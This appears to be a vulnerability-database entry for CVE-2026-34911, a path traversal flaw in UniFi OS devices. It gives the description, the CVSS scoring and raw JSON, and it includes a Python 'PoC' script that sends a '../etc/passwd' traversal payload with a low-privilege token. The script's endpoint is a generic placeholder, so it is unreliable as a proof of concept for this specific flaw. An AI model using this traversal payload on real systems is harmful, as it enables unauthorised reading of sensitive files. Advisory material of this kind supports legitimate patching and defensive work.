Security Vulnerability Report
中文
CVE-2026-34911 CVSS 7.7 HIGH

CVE-2026-34911

Published: 2026-05-22 02:16:35
Last Modified: 2026-05-22 02:16:35

Description

A malicious actor with access to the network and low privileges could exploit a Path Traversal vulnerability found in UniFi OS devices to access files on the underlying system that could be manipulated to obtain sensitive information.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

UniFi OS (具体受影响版本请查阅官方安全通告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable UniFi OS device target_url = "http://<target-ip>/api/some/vulnerable/endpoint" # Authentication cookie (Low privilege required) cookies = { "TOKEN": "<low_privilege_token>" } # Malicious payload using path traversal sequences to read /etc/passwd payload = { "file_path": "../../../../../../../../etc/passwd" } try: response = requests.get(target_url, params=payload, cookies=cookies, verify=False, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Sensitive data leaked:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34911", "sourceIdentifier": "[email protected]", "published": "2026-05-22T02:16:34.667", "lastModified": "2026-05-22T02:16:34.667", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A malicious actor with access to the network and low privileges could exploit a Path Traversal vulnerability found in UniFi OS devices to access files on the underlying system that could be manipulated to obtain sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b", "source": "[email protected]"}]}}